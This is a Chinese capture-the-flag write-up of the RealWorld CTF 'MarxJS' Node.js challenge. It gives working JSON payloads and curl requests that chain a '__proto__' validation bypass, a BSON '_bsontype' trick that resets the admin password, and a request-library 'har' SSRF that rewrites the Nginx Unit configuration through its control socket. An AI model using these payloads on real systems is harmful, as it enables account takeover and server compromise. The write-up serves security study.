看了 wupco 师傅关于 nodejs 安全的总结:本人在2019年对一些NodeJS问题的研究,结合他在 RealWorld CTF 上出的题来深入学习一下。

MarxJS

首先看附件里的文件,real-world-cms/src/app/app.controller.ts 里有一段初始化 admin 的代码:

async init() {
  try {
    await getMongoRepository(User).clear();
  } catch (e) {
    console.log(e);
  }
  const user = new User();
  user.email = 'admin@realworldctf.com';
  user.isAdmin = true;
  const password = await generateToken();
  await user.setPassword(password);
  await getMongoRepository(User).save(user);
}

可以看到 admin 账户的密码是随机生成的 token,那么题目第一步必然是泄露出该密码。

继续定位到 real-world-cms/src/app/controllers/resetpass.controller.ts,可以看到这里提供了重置密码的功能:

export class Email {
    @IsEmail()
    @IsNotEmpty()
    email: string;
}

export class ResetpassController {
  @Post()
  @ValidateBody(Email)
  async resetpass(ctx: Context) {
      const user = await getMongoRepository(User).findOne({ email: ctx.request.body.email });
      if (!user) {
          return new HttpResponseBadRequest('user not found');
      }
      const newpass = await generateToken();
      const passhash = await hashPassword(newpass);
      const res = await getMongoRepository(User).updateOne(
        { email: ctx.request.body.email }, { $set: { password: passhash}});
      if (!res) {
          return new HttpResponseInternalServerError('something error.');
      }
      const transporter = createTransport(
        Config.get('mailserver')
     );
      const message = {
      from: Config.get('mailfrom'),
      to: ctx.request.body.email,
      subject: '[😁] New password',
      text: 'Your new password: ' + newpass

    };

      const info = await transporter.sendMail(message);
      return new HttpResponseRedirect('/signin');
  }
    @Get()
    async index(ctx: Context) {
        return render('templates/resetpass.html');
    }

}

这里需要解决两个问题:

  1. 伪造 email 的内容,但通过 @ValidateBody(Email) 的检查。
  2. 构造 email 对象,使得 findOne() 返回的是 admin 对象,而且能正常触发 transporter.sendMail(message) 的逻辑。

这里引用一下 wupco 师傅的原话:

发现是由于在bson序列化的过程中,他传入的是一个不存在的_bsontype,然后在那些分支都走过之后,因为没有对应的bsontype,所以最终没有序列化任何query,于是造成了findone({})这种查询条件为空的情况,成功选中第一个用户

这个Bug十分有意义。例如在一个找回密码的场景,需要输入一个比较特别的id的时候findone({"userid":userinput) 这时候我们就可以利用这个技巧,让查询语句变成findone({}),从而更改第一个用户的密码,而第一个用户大多是admin用户。

通过审计nodemailer(https://github.com/nodemailer/nodemailer)的代码,我发现如果to这个object存在address这个属性,那么就会向address对应的地址发送邮件。

// https://github.com/nodemailer/nodemailer/blob/master/lib/mime-node/index.js   
 _parseAddresses(addresses) {
     return [].concat.apply(
         [],
         [].concat(addresses).map(address => {
             // eslint-disable-line prefer-spread
             if (address && address.address) {
                 address.address = this._normalizeAddress(address.address);
                 address.name = address.name || '';
                 return [address];
             }
             return addressparser(address);
         })
     );
 }

class-validator这个数据类型检测器被广泛使用在各个Web框架里,通常与Body解析器构成触发式验证。但是如果Body中存在proto这个键的话,就会直接跳过验证。

综合这三段话,我们就可以构造出这样一条攻击链:构造 email 为 object,利用 __proto__ 绕过 @ValidateBody(Email) 检测,然后利用不存在的 _bsontype 使得返回选中第一个用户(admin),然后利用 toaddress 属性触发邮件逻辑。最终构造出的对象如下:

{
  "email":{
    "address": "test@example.com",
    "_bsontype": "abcd"
  },
  "__proto__":{}
}

可以看到成功重置了 admin 的密码:

resetpass

以 admin 用户身份登录之后即可访问 admin 页面,根据代码可知该页面有如下功能:

export class Url {
  @IsUrl()
  @IsNotEmpty()
  url: string;
}
export class AdminController {
  @dependency
  store: MongoDBStore;
  private status: boolean;
  @Post()
  @TokenRequired({
    cookie: true,
    extendLifeTimeOrUpdate: false,
    redirectTo: '/signin',
    store: MongoDBStore,
  })
  @AdminRequired()
  @ValidateBody(Url)
  async checkstatus(ctx: Context) {
    await rp.head(ctx.request.body.url).then(() => { this.status = true; },
        () => { this.status = false; } );
    return new HttpResponseRedirect(this.status ? '/admin?alive=true' : '/admin?error=true');
  }
  @Get()
  @TokenRequired({
    cookie: true,
    extendLifeTimeOrUpdate: false,
    redirectTo: '/signin',
    store: MongoDBStore,
  })
  @AdminRequired()
  index(ctx: Context) {
    return render('templates/admin.html');
  }
}

可以看到该页面最主要的是提供了利用 HEAD 请求验证服务器状态的功能,这里的漏洞,继续引用 wupco 师傅的原文:

https://github.com/request/request request库存在参数har可以覆盖请求方式等参数。

Har.prototype.options = function (options) {
// skip if no har property defined
if (!options.har) {
 return options
}

var har = {}
extend(har, options.har)
// ……

进行尝试:

curl --location --request POST 'http://127.0.0.1:13333/admin' \
--header 'Content-Type: application/json' \
--header 'Cookie:  sessionID=7yaOM9trjwk5Ipb4ovWl9F3Ql8Brq8XNsa9U5g8SiI8.6eMCDRfu9SZG7hSs6GJz-ojbTcSNQUTE1GF6h0-cvO0' \
--data-raw '{
	"url": {
		"uri": "http://vps_ip",
		"har": {
			"method": "POST"
		}
	},
	"__proto__": {}
}'

可以看到 vps 上的结果如下:

access

下面则是下一个问题,既然我们能够修改 request 请求了,那么这里存在着一个 SSRF 问题,利用 SSRF,我们能做什么?

此时看到 run.sh 里有一条很有意思的命令:

curl -X PUT --data-binary @unit.config.json --unix-socket /var/run/control.unit.sock http://localhost/config/

查询资料可以知道本题使用了 Nginx Unit,以 Nginx 为基础的开源的动态 Web 应用服务器,根据官网上的文档:

Unit accepts requests at the specified IP and port, passing them to the application process. Your app works!

Finally, check the resulting configuration:

# curl --unix-socket /path/to/control.unit.sock http://localhost/config/

    {
        "listeners": {
            "127.0.0.1:8300": {
                "pass": "applications/blogs"
            }
        },

        "applications": {
            "blogs": {
                "type": "php",
                "root": "/www/blogs/scripts/"
            }
        }
    }

结合本题提供的 json 文件,可以确认服务器的配置方式:

{
  "listeners": {
    "0.0.0.0:13333": {
      "pass": "applications/realworldcms"
    }
  },
  "applications":{
    "realworldcms":{
      "type": "external",
      "working_directory": "/app/real-world-cms/",
      "executable": "build/index.js"
    }
  }
}

结合 Unit 的功能,很容易就能想到构造出如下配置,使得我们访问即可得到 flag:

{
  "listeners": {
    "0.0.0.0:13333": {
      "pass": "applications/flag"
    }
  },
  "applications":{
    "flag":{
      "type": "php",
      "root": "/",
      "index": "flag"
    }
  }
}

切入 docker,尝试一下,发现修改成功:

curl -X PUT --data-binary @test.json --unix-socket /var/run/control.unit.sock http://localhost/config/

rusult

那么下一步思考的问题则是,如何结合 request 的漏洞来达到写入配置 json 的目的?

阅读 node 的 request 文档,可以看到对 unix 相关请求的支持:

UNIX Domain Sockets

request supports making requests to UNIX Domain Sockets. To make one, use the following URL scheme:

/* Pattern */ 'http://unix:SOCKET:PATH'
/* Example */ request.get('http://unix:/absolute/path/to/unix.socket:/request/path')

所以 --unix-socket /var/run/control.unit.sock http://localhost/config/ 可转换为 http://unix:/var/run/control.unit.sock:/config/,最终 exp 如下:

curl --location --request POST 'http://127.0.0.1:13333/admin' \
--header 'Cookie:  sessionID=tHCEbykkFf2ukGvoRnVo8mKwMlBvN-mxy3019E3mhO8.xAAshotg9zFIUmia5eRtTLDQBwzhmeGX4n0JMDj_eP4' \
--header 'Content-Type: application/json' \
--data-raw '{
	"url": {
                "uri": "http://unix:/var/run/control.unit.sock:/config/",
                "har": {
                        "method": "PUT",
                        "postData": {
                                "text": "{\"listeners\":{\"0.0.0.0:13333\":{\"pass\":\"applications/flag\"}},\"applications\":{\"flag\":{\"type\":\"php\",\"root\":\"/\",\"index\":\"flag\"}}}",
                                "mimeType": "application/json"
                        }
                }
        },
	"__proto__" : {}
}'

flag

PS:佛了,调了一上午发现是 docker 里权限不大对,ctf 用户访问不了 /var/run/control.unit.sock 导致的 error

总结

  1. nodejs 很多库其实存在着很多实现上的疏忽(不一定称得上漏洞),利用这种疏忽可以达到巧妙的效果。
  2. __proto__ 属性实乃 javascript 一大坑点,不过某种意义上也是找洞的机会所在?

参考链接